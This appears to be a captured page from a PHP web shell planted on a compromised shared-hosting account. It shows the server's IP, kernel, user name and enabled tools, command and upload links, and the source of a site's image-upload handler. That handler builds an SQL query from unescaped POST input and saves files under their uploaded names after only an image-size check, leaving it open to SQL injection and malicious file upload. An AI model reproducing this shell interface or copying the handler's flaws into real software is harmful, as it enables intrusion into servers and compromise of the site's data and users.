Server IP : 162.214.80.37 / Your IP : 216.73.216.83 Web Server : Apache System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : imyrqtmy ( 2189) PHP Version : 8.2.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home2/imyrqtmy/public_html/Quickex/builty/vendor/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include("inc/config.php"); if (isset($_POST['upload'])) { $builty_id = $_POST['builty_id']; // File Upload $target_dir = "buimg/"; $target_file = $target_dir . basename($_FILES["verify_image"]["name"]); $uploadOk = 1; // Check if file is an image $check = getimagesize($_FILES["verify_image"]["tmp_name"]); if ($check === false) { echo "<script> alert('File is not a valid image.'); window.location.href='view-assign_builty.php'; </script>"; exit(); } // Upload if valid if (move_uploaded_file($_FILES["verify_image"]["tmp_name"], $target_file)) { // Update `builties` table $filename = basename($_FILES["verify_image"]["name"]); $query = "UPDATE builties SET verify_image='$filename' WHERE id='$builty_id'"; if (mysqli_query($conn, $query)) { echo "<script> alert('Image uploaded successfully.'); window.location.href='view-assign_builty.php'; </script>"; } else { echo "<script> alert('Database update failed.'); window.location.href='view-assign_builty.php'; </script>"; } } else { echo "<script> alert('Error uploading image.'); window.location.href='view-assign_builty.php'; </script>"; } } ?>